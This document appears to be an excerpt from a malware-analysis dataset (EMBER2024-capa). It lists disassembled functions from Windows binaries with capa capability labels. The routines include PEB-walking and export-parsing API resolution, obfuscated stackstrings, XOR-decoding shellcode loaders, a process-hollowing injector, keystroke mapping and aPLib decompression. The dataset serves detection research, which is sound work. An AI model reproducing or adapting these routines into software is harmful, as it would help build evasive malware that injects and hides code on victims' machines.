joyce8/EMBER2024-capa huggingface dataset:
Function at 0x512c57
Capabilities:
Access peb ldr_data

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [esp + 0x10], eax
mov ebp, dword [esp + 0x10]
mov edi, dword [ebp + 0x30]
mov esi, dword [esp + 0x18]
movzx ebx, word [esi]
mov eax, ebx
lea ecx, [eax - 0x41]
cmp ecx, 0x19
ja 0x512c8f
add eax, 0x20
movzx edx, word [edi]
lea ecx, [edx - 0x41]
cmp ecx, 0x19
ja 0x512c9d
add edx, 0x20
cmp eax, edx
jne 0x512cae
test bx, bx
je 0x512ce3
add esi, 2
add edi, 2
jmp 0x512c7f
movzx ecx, word [esi]
lea eax, [ecx - 0x41]
cmp eax, 0x19
ja 0x512cbc
add ecx, 0x20
movzx edx, word [edi]
lea eax, [edx - 0x41]
cmp eax, 0x19
ja 0x512cca
add edx, 0x20
sub ecx, edx
je 0x512ce3
mov ebp, dword [ebp]
mov dword [esp + 0x10], ebp
cmp dword [ebp + 0x18], 0
jne 0x512c78
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [ebp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x512cfc
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
sub esp, 8
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
test edi, edi
je 0x512dd5
mov ebx, dword [esp + 0x20]
test ebx, ebx
je 0x512dd5
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
je 0x512dd5
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov ecx, ebx
mov esi, dword [eax + 0x1c]
sub ecx, dword [eax + 0x10]
mov edx, dword [eax + 0x14]
add esi, edi
mov dword [esp + 0x14], esi
mov dword [esp + 0x20], edx
cmp ecx, edx
ja 0x512d5b
mov eax, dword [esi + ecx*4]
add eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
mov edx, dword [eax + 0x20]
mov ecx, dword [eax + 0x24]
mov ebp, dword [eax + 0x18]
add edx, edi
add ecx, edi
xor esi, esi
mov dword [esp + 0x10], edx
mov dword [esp + 0x1c], ecx
test ebp, ebp
je 0x512dd5
mov eax, dword [edx + esi*4]
add eax, edi
mov ecx, ebx
lea ecx, [ecx]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x512da0
test dl, dl
je 0x512d9c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x512da0
add ecx, 2
add eax, 2
test dl, dl
jne 0x512d80
xor eax, eax
jmp 0x512da5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x512db7
mov eax, dword [esp + 0x1c]
movzx eax, word [eax + esi*2]
cmp eax, dword [esp + 0x20]
jbe 0x512dc2
inc esi
cmp esi, ebp
jae 0x512dd5
mov edx, dword [esp + 0x10]
jmp 0x512d76
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + eax*4]
add eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret 8
Function at 0x512df1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
pop ebp
sub esp, 0x48
push ebx
push ebp
push esi
mov esi, dword [esp + 0x58]
push edi
test esi, esi
je 0x512f19
xor eax, eax
mov word [esp + 0x54], ax
mov byte [esp + 0x38], al
lea eax, [esp + 0x3c]
push eax
mov dword [esp + 0x40], 0x65006b
mov dword [esp + 0x44], 0x6e0072
mov dword [esp + 0x48], 0x6c0065
mov dword [esp + 0x4c], 0x320033
mov dword [esp + 0x50], 0x64002e
mov dword [esp + 0x54], 0x6c006c
mov dword [esp + 0x2c], 0x4d746547
mov dword [esp + 0x30], 0x6c75646f
mov dword [esp + 0x34], 0x6e614865
mov dword [esp + 0x38], 0x41656c64
mov dword [esp + 0x14], 0x65657246
mov dword [esp + 0x18], 0x7262694c
mov dword [esp + 0x1c], 0x797261
mov dword [esp + 0x20], 0x74726956
mov dword [esp + 0x24], 0x466c6175
mov dword [esp + 0x28], 0x656572
call fcn.00513053
add esp, 4
mov ebx, eax
lea eax, [esp + 0x28]
push eax
push ebx
call fcn.00512f25
mov ebp, eax
test ebp, ebp
je 0x512f19
lea eax, [esp + 0x10]
push eax
push ebx
call fcn.00512f25
mov edi, eax
test edi, edi
je 0x512f19
lea eax, [esp + 0x1c]
push eax
push ebx
call fcn.00512f25
mov ebx, eax
test ebx, ebx
je 0x512f19
mov ecx, dword [esi + 0x3c]
mov eax, 0x2000
test word [ecx + esi + 0x16], ax
je 0x512ef5
mov eax, dword [ecx + esi + 0x28]
test eax, eax
je 0x512ef5
push 0
push 0
push esi
add eax, esi
call eax
push edi
push ebp
push esi
call fcn.00513006
add esp, 0xc
push 0x8000
push 0
push esi
call ebx
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x48
ret 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x48
ret 4

Function at 0x512f25
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
test edi, edi
je 0x512ffa
mov ebx, dword [esp + 0x20]
test ebx, ebx
je 0x512ffa
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
je 0x512ffa
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov ecx, ebx
mov esi, dword [eax + 0x1c]
sub ecx, dword [eax + 0x10]
mov edx, dword [eax + 0x14]
add esi, edi
mov dword [esp + 0x14], esi
mov dword [esp + 0x20], edx
cmp ecx, edx
ja 0x512f80
mov eax, dword [esi + ecx*4]
add eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
mov edx, dword [eax + 0x20]
mov ecx, dword [eax + 0x24]
mov ebp, dword [eax + 0x18]
add edx, edi
add ecx, edi
xor esi, esi
mov dword [esp + 0x10], edx
mov dword [esp + 0x1c], ecx
test ebp, ebp
je 0x512ffa
mov eax, dword [edx + esi*4]
add eax, edi
mov ecx, ebx
lea ecx, [ecx]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x512fc5
test dl, dl
je 0x512fc1
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x512fc5
add ecx, 2
add eax, 2
test dl, dl
jne 0x512fa5
xor eax, eax
jmp 0x512fca
sbb eax, eax
or eax, 1
test eax, eax
jne 0x512fdc
mov eax, dword [esp + 0x1c]
movzx eax, word [eax + esi*2]
cmp eax, dword [esp + 0x20]
jbe 0x512fe7
inc esi
cmp esi, ebp
jae 0x512ffa
mov edx, dword [esp + 0x10]
jmp 0x512f9b
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + eax*4]
add eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret 8
Function at 0x513053
Capabilities:
Access peb ldr_data

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [esp + 0x10], eax
mov ebp, dword [esp + 0x10]
mov edi, dword [ebp + 0x30]
mov esi, dword [esp + 0x18]
movzx ebx, word [esi]
mov eax, ebx
lea ecx, [eax - 0x41]
cmp ecx, 0x19
ja 0x51308b
add eax, 0x20
movzx edx, word [edi]
lea ecx, [edx - 0x41]
cmp ecx, 0x19
ja 0x513099
add edx, 0x20
cmp eax, edx
jne 0x5130aa
test bx, bx
je 0x5130df
add esi, 2
add edi, 2
jmp 0x51307b
movzx ecx, word [esi]
lea eax, [ecx - 0x41]
cmp eax, 0x19
ja 0x5130b8
add ecx, 0x20
movzx edx, word [edi]
lea eax, [edx - 0x41]
cmp eax, 0x19
ja 0x5130c6
add edx, 0x20
sub ecx, edx
je 0x5130df
mov ebp, dword [ebp]
mov dword [esp + 0x10], ebp
cmp dword [ebp + 0x18], 0
jne 0x513074
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [ebp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x40368d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x40369c
pop dword [ebp - 0x20]
mov eax, 0x40369c
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x53e54cec
sub dword [ebp - 0x30], 0x59307a1
mov dword [ebp - 0x2c], 0x2ae4aba9
sub dword [ebp - 0x2c], 0xf8b15f64
mov dword [ebp - 0x28], 0xfd5e6dd9
sub dword [ebp - 0x28], 0xb11229ab
mov dword [ebp - 0x24], 0xb1c65867
add dword [ebp - 0x24], 0x4e39a799
lea eax, [ebp - 0x30]
push eax
mov eax, 0x6fc6be0c
add eax, 0x9079b210
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x8db8c9c7
sub dword [ebp - 0x30], 0x19466071
mov dword [ebp - 0x2c], 0xa2c1fbab
sub dword [ebp - 0x2c], 0x61559a36
mov dword [ebp - 0x28], 0x52d94c7d
add dword [ebp - 0x28], 0x10961fef
mov dword [ebp - 0x24], 0x8901b7d5
sub dword [ebp - 0x24], 0x8901b7d5
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3dda9
push 0
call eax
mov ecx, 0x6c5f447c
sub ecx, 0x6c5ee3eb
xor esi, esi
add esi, eax
mov edi, 0x40c800
add edi, dword [ebp - 0x20]
mov edx, 0x249ee4c3
xor dword [ebp - 0x10], 0xd57c0c43
mov ebx, dword [edi]
add dword [ebp - 4], esi
sub ebx, edx
mov dword [ebp - 8], 0x354ec744
mov dword [esi], ebx
add dword [ebp - 0xc], ecx
add esi, 0x2d16a770
add esi, 0xd2e95894
add edi, 4
loop 0x4037aa
add eax, 0x37fdcded
add eax, 0xc803a72a
mov ebx, eax
add eax, 5
mov ecx, 0x46f12ef1
sub ecx, 0x46b12ef1
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x404635
Capabilities:
Check if file exists

Disassembly:
push 0x1c
mov eax, 0x4069e0
call fcn.004054fb
cmp dword [0x40a010], 0
mov esi, dword [ebp + 8]
jne 0x404654
mov al, 1
jmp 0x40471d
test esi, esi
je 0x40471b
xor ebx, ebx
cmp word [esi], bx
je 0x40471b
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40471b
push esi
call dword [sym.imp.SHLWAPI.dll_PathIsRelativeW]
test eax, eax
jne 0x40471b
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.0040368d
pop ecx
pop ecx
mov esi, dword [0x40a010]
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x18], ebx
je 0x40470f
lea eax, [ebp - 0x28]
push eax
call fcn.0040368d
pop ecx
test al, al
jne 0x40470f
cmp dword [ebp - 0x18], esi
jbe 0x40470f
cmp dword [0x40a014], 8
lea eax, [ebp - 0x28]
mov ecx, section..data
cmovae ecx, dword [section..data]
cmp dword [ebp - 0x14], 8
push esi
cmovae eax, dword [ebp - 0x28]
push ecx
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsnicmp]
add esp, 0xc
test eax, eax
jne 0x40470f
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
test eax, eax
je 0x40470f
push 0x407620
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
xor edx, edx
movzx ebx, bl
inc edx
test eax, eax
pop ecx
pop ecx
cmovne ebx, edx
lea ecx, [ebp - 0x28]
call fcn.00401788
mov al, bl
jmp 0x40471d
xor al, al
call fcn.004054b6
ret
Function at 0x40f9ba
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 4], ecx
mov esi, edi
cmp dword [ebp + 8], esi
je 0x40f9ff
call fcn.00419489
push 0xf0
push dword [ebp + 8]
mov ebx, dword [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x40f9ff
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x40fa1b
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0040bc51
mov ebx, eax
test edi, edi
je 0x40fa19
test esi, esi
je 0x40fa19
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x421c47
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x14
push 0x44fa70
call fcn.00423d90
call fcn.004290b1
movzx esi, ax
push 2
call fcn.00428ead
pop ecx
mov eax, 0x5a4d
cmp word [0x400000], ax
je 0x421afe
xor ebx, ebx
jmp 0x421b31
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x421afa
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x421afa
xor ebx, ebx
cmp dword [eax + 0x400074], 0xe
jbe 0x421b31
cmp dword [eax + 0x4000e8], ebx
setne bl
mov dword [ebp - 0x1c], ebx
call fcn.004286ab
test eax, eax
jne 0x421b45
push 0x1c
call fcn.00421c20
pop ecx
call fcn.00428618
test eax, eax
jne 0x421b56
push 0x10
call fcn.00421c20
pop ecx
call fcn.00428f96
and dword [ebp - 4], 0
call fcn.004286c0
test eax, eax
jns 0x421b70
push 0x1b
call fcn.00421c20
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [0x459adc], eax
call fcn.00428fd6
mov dword [0x457a24], eax
call fcn.00428974
test eax, eax
jns 0x421b96
push 8
call fcn.004279b2
pop ecx
call fcn.00428bb1
test eax, eax
jns 0x421ba7
push 9
call fcn.004279b2
pop ecx
push 1
call fcn.004279ec
pop ecx
test eax, eax
je 0x421bba
push eax
call fcn.004279b2
pop ecx
call fcn.00429414
push esi
push eax
push 0
push 0x400000
call main
mov esi, eax
mov dword [ebp - 0x24], esi
test ebx, ebx
jne 0x421bdc
push esi
call fcn.00427c55
call fcn.004279dd
jmp 0x421c11
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
call fcn.00423dd5
ret
call fcn.00504000
jmp 0x421ad0
Function at 0x12dd1
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov byte [esp + 4], cl
mov word [ebp], ax
pushfd
lea esp, [esp + 0x48]
jmp fcn.0001232b

Function at 0x1af05
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp + 0xc]
jne 0x19633
movsx eax, dl
sbb ax, 0x75dc
shrd ax, bx, cl
xor edx, edx
adc ah, bh
adc al, ch
shr al, cl
mov eax, edx
adc al, 0xfe
cmc
jmp 0x1b5e6
pushfd
jmp 0x1d9e5
test al, al
call fcn.000176cd
pushfd
pushal
lea eax, [edi - 0x15e48b03]
lea eax, [sym.imp.ntoskrnl.exe_ExFreePool]
push dword [esp + 4]
mov word [esp], bp
mov dword [esp + 0x2c], 0x17d29
mov byte [esp], dh
call fcn.0001a754
add byte [eax], al
dec esi
je 0x1af81
jne 0x1af97
jb 0x1afad
push ebx
jns 0x1afaa
je 0x1af9e
insd dword es:[edi], dx
dec ecx
outsb dx, byte [esi]
outsw dx, word [esi]
jb 0x1afad
popal
je 0x1afac
outsd dx, dword [esi]
outsb dx, byte [esi]
add byte [ecx*8 - 0x58150d0e], dl
xchg al, bl
cmpsd dword [esi], dword es:[edi]
fsubr qword [eax + 0x7aaa27dd]
mov edi, 0x55588c7f
and dword [esi + 0x3d], ecx
push ds
cld
xor dword [esp + edi*4], ebx
movsd dword es:[edi], dword [esi]
inc edi
js 0x1afdb
pop ebx
add ah, byte [ebx + 0x55]
mov ebp, 0x13c0b92d
inc esp
rcr dword [eax - 0x7c], cl
or ebp, dword [esi - 0x6d0fc12e]
xchg ebx, esp
add dword [ebp - 0xdddfecb], ebx
sub edi, ebx
or al, 0xd0
stc
add eax, 0x68db5a4c
jns 0x1af8a
push 0x3ca8fd79
test al, 0x3c
out dx, eax
in eax, 0x71
jno 0x1af4f
ret
cwde
jnp 0x1af67
ror dword [ebx], cl
push ds
mov dword [esp + edx], edi
cmp al, 0x14
and al, 0x51
pop esi
xor byte [edi], ch
xchg ecx, eax
cmp al, 0x6d
xor dword [edx + 0x58], edi
pop eax
sbb byte [0xa30cfd81], al
add eax, 0xa30cfd81
cmp ebp, 0xdc6a30c
and al, 0x8f
outsb dx, byte [esi]
shr ch, cl
push 0x5906e35b
jo 0x1afa2
invalid
retf 0xc866
pushfd
jmp 0x173e2
pushal
add edi, 1
stc
mov byte [esp], cl
mov al, byte [edi]
jmp 0x1a43a
jmp 0x1a83d
Function at 0x1001bd34
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebx, ebx
push edi
mov edi, ecx
push 5
pop eax
push ebx
mov dword [edi], eax
mov dword [edi + 4], eax
mov word [edi + 8], 1
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x1c], ebx
push 0x5b
mov dword [edi + 0xc], 4
call esi
push ebx
push 0x10
mov byte [edi + 0x29], al
call esi
push ebx
push 0xa0
mov byte [edi + 0x26], al
call esi
push ebx
push 0xa1
mov byte [edi + 0x27], al
call esi
push ebx
push 0x11
mov byte [edi + 0x28], al
call esi
push ebx
push 0x12
mov byte [edi + 0x24], al
call esi
mov byte [edi + 0x25], al
pop edi
pop esi
pop ebx
ret

Function at 0x100216c2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x100216d1
pop dword [ebp - 0x38]
mov eax, 0xbb99a6bc
sub eax, 0xab978feb
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xd01ff7ca
sub dword [ebp - 0x48], 0x81cdb27f
mov dword [ebp - 0x44], 0xaa339795
sub dword [ebp - 0x44], 0x78004b50
mov dword [ebp - 0x40], 0x162da90c
add dword [ebp - 0x40], 0x361e9b22
mov dword [ebp - 0x3c], 0x14a7ae06
sub dword [ebp - 0x3c], 0x14a7ae06
lea eax, [ebp - 0x48]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xc23adcd5
add dword [ebp - 0x48], 0xb2378c81
mov dword [ebp - 0x44], 0xc07d7984
sub dword [ebp - 0x44], 0x7f11180f
mov dword [ebp - 0x40], 0xd0987ba0
sub dword [ebp - 0x40], 0x6d290f34
mov dword [ebp - 0x3c], 0xf61d88b0
add dword [ebp - 0x3c], 0x9e27750
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0xafca8a75
sub eax, 0x9fc639bd
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x49a00
push 0
call eax
mov ecx, 0x637ce36a
sub ecx, 0x637c9e4c
xor edx, edx
add edx, eax
mov esi, 0xfe3f44a5
add esi, 0x11c80b5b
add esi, dword [ebp - 0x38]
mov ebx, 0xb7d38439
sub ebx, 0xc04fffa6
mov edi, dword [esi]
sub dword [ebp - 0x2c], 0x19c7d04
xor edi, ebx
mov dword [ebp - 0x30], 0x5db75fbe
mov dword [edx], edi
xor dword [ebp - 4], 0x761ff51a
add edx, 4
add esi, 4
loop 0x100217f0
add eax, 0x1074b
xor ebx, ebx
add ebx, eax
add eax, 0x505fbb34
sub eax, 0x505fbb2f
mov ecx, 0x40d1e0ba
sub ecx, 0x30d1e0ba
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x4091a0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x435b33
mov eax, dword fs:[0]
push eax
sub esp, 0x240
mov eax, dword [0x446fb4]
xor eax, esp
mov dword [esp + 0x23c], eax
push ebx
push esi
mov eax, dword [0x446fb4]
xor eax, esp
push eax
lea eax, [esp + 0x24c]
mov dword fs:[0], eax
xor ebx, ebx
lea ecx, [esp + 0xc]
mov dword [esp + 0x254], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
call fcn.004165cf
mov esi, dword [esp + 0x25c]
lea eax, [esp + 0x1c]
push eax
push esi
mov byte [esp + 0x25c], 1
call fcn.0041c1c0
test byte [esp + 0x3c], 1
je 0x409234
and byte [esp + 0x3c], 0xfe
lea ecx, [esp + 0x1c]
push ecx
push esi
call fcn.0041c3b5
lea ecx, [esp + 0xc]
mov byte [esp + 0x254], bl
call fcn.004166cb
lea eax, [esi - 0x10]
mov dword [esp + 0x254], 0xffffffff
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40926b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x24c]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [esp + 0x23c]
xor ecx, esp
call fcn.004207c2
add esp, 0x24c
ret
Function at 0x410870
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x41c
mov eax, dword [0x446fb4]
xor eax, esp
mov dword [esp + 0x418], eax
mov eax, dword [esp + 0x424]
mov ecx, dword [esp + 0x430]
mov edx, dword [esp + 0x434]
push ebx
push ebp
xor ebx, ebx
push esi
mov esi, dword [esp + 0x438]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x444]
or ebp, 0xffffffff
cmp esi, ebx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x2c], edx
mov dword [esp + 0x30], eax
mov dword [esp + 0x24], 2
mov dword [esp + 0x20], ebx
mov dword [esp + 0xc], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x14], ebx
jne 0x4108f8
pop esi
pop ebp
mov eax, 3
pop ebx
mov ecx, dword [esp + 0x418]
xor ecx, esp
call fcn.004207c2
add esp, 0x41c
ret
xor ecx, ecx
mov eax, esi
mov edx, 0xc
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00411f7b
add esp, 4
test eax, eax
mov dword [esp + 0x28], eax
je 0x410c6e
push edi
mov edi, esi
test edi, edi
jle 0x4109ab
mov esi, dword [esp + 0x20]
mov eax, dword [esi]
cmp word [eax], 0x3d
jne 0x41098a
add eax, 2
cmp word [eax], bx
je 0x41098a
mov ecx, dword [esp + 0x14]
push 0
push ecx
lea edx, [esp + 0x24]
push edx
push 1
lea ecx, [esp + 0x70]
push ecx
push eax
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0x1c]
Function at 0x407050
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x188
mov eax, dword [0x462014]
xor eax, esp
mov dword [esp + 0x184], eax
push esi
push edi
push 0x104
lea eax, [esp + 0x84]
mov esi, ecx
push eax
push 0
call 0x35609e1
nop
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x407239
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x407239
push 0x44
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.00434000
add esp, 0xc
lea eax, [esp + 0x20]
xorps xmm0, xmm0
movaps xmmword [esp + 0x20], xmm0
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [esp + 0xa4]
push eax
call 0x351097a
nop
test eax, eax
je 0x407239
push 4
push 0x1000
push 4
push 0
call 0x356038a
nop
push eax
mov dword [esp + 0x1c], eax
mov dword [eax], 0x10007
push dword [esp + 0x28]
call 0x35101cd
nop
test eax, eax
je 0x407239
push 0
push 4
lea eax, [esp + 0x24]
push eax
push 0x458d48
push dword [esp + 0x30]
call 0x3560aba
nop
mov eax, dword [edi + 0x34]
cmp dword [esp + 0x1c], eax
jne 0x40715c
push 0x458d4c
push 0x458d64
call 0x3550cdb
nop
push eax
call 0x35103bf
nop
push dword [esp + 0x1c]
push dword [esp + 0x24]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [esp + 0x30]
call 0x351048a
nop
mov dword [esp + 0x14], eax
test eax, eax
je 0x407239
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [esp + 0x30]
call 0x3560927
nop
xor eax, eax
mov dword [esp + 0x10], 0
cmp ax, word [edi + 6]
jae 0x4071f3
mov dword [esp + 0xc], eax
call fcn.00406ea0
push eax
call 0x3550be2
nop
mov ecx, dword [esp + 0xc]
add ecx, esi
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + 0x108]
mov eax, dword [ecx + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + 0x104]
add eax, dword [esp + 0x20]
push eax
push dword [esp + 0x30]
call 0x3560927
nop
mov ecx, dword [esp + 0x10]
movzx eax, word [edi + 6]
inc ecx
add dword [esp + 0xc], 0x28
mov dword [esp + 0x10], ecx
cmp ecx, eax
jl 0x4071a2
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [esp + 0x30]
call 0x3560927
nop
mov ecx, dword [esp + 0x18]
mov eax, dword [edi + 0x28]
add eax, dword [esp + 0x14]
push ecx
mov dword [ecx + 0xb0], eax
push dword [esp + 0x28]
call 0x3510dc5
nop
push dword [esp + 0x24]
call 0x3550e04
nop
push 0x8000
push 0
push esi
call 0x3560897
nop
mov ecx, dword [esp + 0x18c]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.0041cef4
mov esp, ebp
pop ebp
ret
Function at 0x41dbd7
Capabilities:
Parse pe header

Disassembly:
push 0
call 0x35b04fe
nop
test eax, eax
je 0x41dc17
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41dc17
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41dc17
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41dc17
cmp dword [ecx + 0x74], 0xe
jbe 0x41dc17
cmp dword [ecx + 0xe8], 0
je 0x41dc17
mov al, 1
ret
xor al, al
ret

Function at 0x10458058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.104581a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x1045807e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1045806a
add dl, dl
jne 0x10458089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x104580dc
xor eax, eax
add dl, dl
jne 0x10458096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1045817d
add dl, dl
jne 0x104580a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104580b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104580bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104580c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x104580d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x10458075
mov eax, 1
add dl, dl
jne 0x104580ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104580f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x104580e1
sub eax, ebx
mov ebx, 1
jne 0x10458128
mov ecx, 1
add dl, dl
jne 0x1045810e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10458119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10458105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10458075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1045813f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1045814a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10458136
cmp eax, 0x7d00
jae 0x1045816d
cmp eax, 0x500
jb 0x10458168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10458075
cmp eax, 0x7f
ja 0x10458170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10458075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x1045819e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
